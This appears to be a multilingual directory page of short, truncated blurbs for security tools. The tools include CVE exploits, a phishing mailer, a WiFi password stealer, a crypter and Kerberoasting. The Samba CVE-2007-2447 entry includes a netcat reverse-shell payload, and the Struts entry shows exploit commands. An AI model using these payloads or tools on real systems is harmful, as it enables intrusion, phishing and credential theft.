CVE-2020-0601-spoofkey

CVE-2020-0601-spoofkey 偽造キーを作成し、コードに署名する方法を確認するには REQ: openssl, main.rbアップロードしたもの アクセス : https://twitter.com/exploitblizzard...

HatCloud

HatCloud - 開発終了 HatCloudはRubyで構築されています。CloudFlareをバイパスして実際のIPアドレスを発見します。これは、サーバーやウェブサイトをテストする必要がある場合に役立ちます。DDoS（Denial of Service）やDoSに対する保護をテストすることができます。...

CVE-2022-1292

CVE-2022-1292 説明 crehash スクリプトは、シェルのメタ文字を適切にサニタイズしておらず、コマンドインジェクションを許容します。このスクリプトは、一部のオペレーティングシステムにおいて自動的に実行される形式で配布されています。そのようなOSでは、攻撃者がスクリプトの権限で任意のコマンドを実行できる可能性があります。crehash スクリプトの使用は非推奨と見なされており、OpenSSL の rehash コマンドラインツールに置き換えるべきです。OpenSSL 3.0.3 で修正（影響範囲 3.0.0, 3.0.1, 3.0.2）。OpenSSL 1.1.1o...

CVE-2021-25646

CVE-2021-25646 Apache Druid リモートコード実行脆弱性 Wkerスクリプト 作成中... ===================================================================================== まず、Wkerさんのリモートでの回答に感謝します。 スクリプトを作成する目的は練習です。 使用方法 スクリプトはDNSLogを使用して判断し、脆弱性が存在する場合、自動的にdnslogのURLを取得してping操作を実行し、その結果を出力します。...

Network_Assessment

ネットワーク評価 Wireshark や TCPdump を使用すると、監視対象のネットワーク上で記録したネットワークトラフィックに有害なアクティビティがあるかどうかを判断できます。 この Python スクリプトは、指定された .pcap ファイルのネットワークトラフィックを解析し、以下の不審なネットワークアクティビティや攻撃を検出しようとします： 1. DNS トンネリング 2. SSH トンネリング 3. TCP セッションハイジャック 4. SMB 攻撃 5. SMTP または DNS 攻撃 6. IPv6 フラグメンテーション攻撃 7. TCP RST 攻撃 8. SYN...

goCabrito

goCabrito フィッシングキャンペーンを送信するための、超整理された柔軟なスクリプト。 特徴 単一のメールアドレスに送信 メールアドレスのリスト（テキスト）に送信 名・姓を含むメールアドレスのリスト（CSV）に送信 添付ファイルをサポート メールをグループに分割 グループ間の送信に遅延を設定 メッセージ本文に配置・置換可能なタグをサポート name タグを HTML メッセージに追加し、名前で置き換え（--to CSV 使用時） track-click タグを HTML メッセージ内の URL に追加 track-open タグを HTML メッセージに追加 num...

ipmitest

ipmitest IPMIの暗号タイプゼロ認証バイパス脆弱性（CVE-2013-4784）をテストするためのシェルスクリプト IPMIは、システム管理者がコンピュータシステムのアウトオブバンド管理とその動作監視に使用する標準化されたコンピュータシステムインターフェースです。これは、オペレーティングシステムやログインシェルではなく、ネットワーク接続を介してハードウェアにアクセスすることで、電源がオフになっている、または応答しないコンピュータを管理する方法です。 この脆弱性により、リモートの攻撃者は、暗号スイート0（別名 cipher...

kali-vm

Kali VM 镜像构建器 这是用于创建 Kali Linux 虚拟机 VM 镜像的构建脚本。 目前有两种构建方法： build.sh - 直接从你的机器构建 build-in-container.sh - 在容器（Docker 或 Podman）内构建 无论采用哪种方式，实际构建都发生在由构建工具 debos 即时创建的虚拟机内。 Debos 底层使用fakemachine，而它又依赖于 QEMU/KVM。 先决条件 确保 git 仓库已在本地克隆： root@kitploit: $ sudo apt install -y git $ git clone...

nsearch

root@kitploit: ================================================ | \ | |/ || | | | | | |\ --. | | | | | . | --. | | / || '| / || ' | | |\ |// /| | | | || | | | | | | | // / ,||| ||| || ================================================ Version 0.4b http://goo.gl/8mFHE5 @jjtibaquira Email:...

targetedKerberoast

targetedKerberoast targetedKerberoast は、他の多くのツール（例: GetUserSPNs.py）と同様に、SPN が設定されたユーザーアカウントの「kerberoast」ハッシュを出力できる Python スクリプトです。 このツールには以下の追加機能があります。SPN を持たない各ユーザーに対して、SPN を設定しようと試み（servicePrincipalName 属性への書き込み権限の悪用）、その「kerberoast」ハッシュを出力し、その操作のために設定された一時的な SPN を削除します。これは Targeted Kerberoastin...

thinkphp5.XRce

ThinkPHP5.0 脆弱性検出スクリプト @tdcoming さんのスクリプトを基に書き直しました はじめに: 影響範囲： v5.1.x 5.1.31 v5.0.x= 5.0.23 使い方: 1. pip install -r requirements.txt 2. 本スクリプトと同じディレクトリに url.txt を作成します 3. 検出したい URL をそのファイルに入れます 4. スクリプトを実行します スクリーンショット:...

xencrypt

Xencrypt PowerShell crypter v 1.0 作者 Xentropy @SamuelAnttila SecForce @SECFORCELTD このツールの設計思想や独自のcrypterの作り方について知りたい方は、私が書いた記事があります： Write a crypter in any language 注意...

CVE-2023-42860

CVE-2023-42860 CVE-2023-42860 のエクスプロイト（研究目的のみ）。 このエクスプロイトは、macOS 13.3 より前のバージョンで動作します。Apple の変更履歴 ではバージョン 14.1 で修正されたとされていますが。 手順 1. ダウンロード して InstallAssistant.pkg を入手する 2. exploit.sh ファイル内の変数 TARGETFILE を、システム上の SIP で保護されたファイルに変更する（デフォルトのターゲットはシステムの TCC データベースです）。 3. root としてエクスプロイトを実行する：...

CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640：权限提升 使用 CVE-2023-32629 和 CVE-2023-2640 的 Ubuntu 权限提升 Bash 单行命令。 完全从 https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 偷来的 请转发原始来源 我只是想把这个脚本保留在 GitHub 上，方便我自己使用和分享。...

WifiPassword-Stealer

WifiPassword-Stealer ターゲットコンピュータから全ての登録済みWiFiパスワードを取得します。 インストール Pythonファイルを使用する場合 root@kitploit: pip install smtplib pip install subprocess pip install glob 使用方法 •テンポラリメールを使用して "https://mailtrap.io/" にアカウントを作成します。 •"main.py" に自身の SMTP ユーザー名と SMTP パスワードを設定します。 •以下のコマンドでEXEを作成します。 root@kitploit:...

CVE-2024-24919

CVE-2024-24919 チェッカー 脆弱性CVE-2024-24919をチェックするためのシンプルなbashスクリプトです。 インストール リポジトリをクローンします: root@kitploit: git clone https://github.com/satriarizka/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919-scan.sh 使い方 ./CVE-2024-24919-scan.sh -l ips.txt HUNTER クエリ root@kitploit: product.name="Chec...

CVE-2025-26159

CVE-2025-26159 このスクリプトは、明示的な許可が与えられた認可された環境でのみ使用されるべきです。作者は、このスクリプトの使用に起因する誤用、損害、または結果について一切の責任を負いません。 このスクリプトは、CVE-2025-26159の悪用の一環として、Cookieをデコード、フィルタリング、抽出します。 使用法 悪用の手順を理解するには、私のブログのこの記事を確認してください。 root@kitploit: go run CVE-2025-26159.go Laravelスターターのタグ名フィールドに、次のペイロードを追加します。 root@kitploit:...

Apache-Struts

Apache-Struts Apache Struts CVE-2017-5638 のエクスプロイト 使用方法 単一のURLをテストする。 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Nmap 偵察 nmap -p --script http-vuln-cve2017-5638 ' URLのリストをテストする。 python struts-pwn.py --list 'urls.txt' -c 'id' 単一のURLに対して脆弱性が存在するか確認する。 pyth...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

port-scan-automation

LazyMap - 自動NMAPスキャンスクリプト NMAPスキャンとカスタムNessusポリシーを自動化します。 Daniel Compton 開発 https://github.com/commonexploits/port-scan-automation.git AGPLのもとで公開されています。詳細はLICENSEを参照してください。 インストール root@kitploit: git clone https://github.com/commonexploits/port-scan-automation.git 使用方法 root@kitploit: ./lazymap.sh ...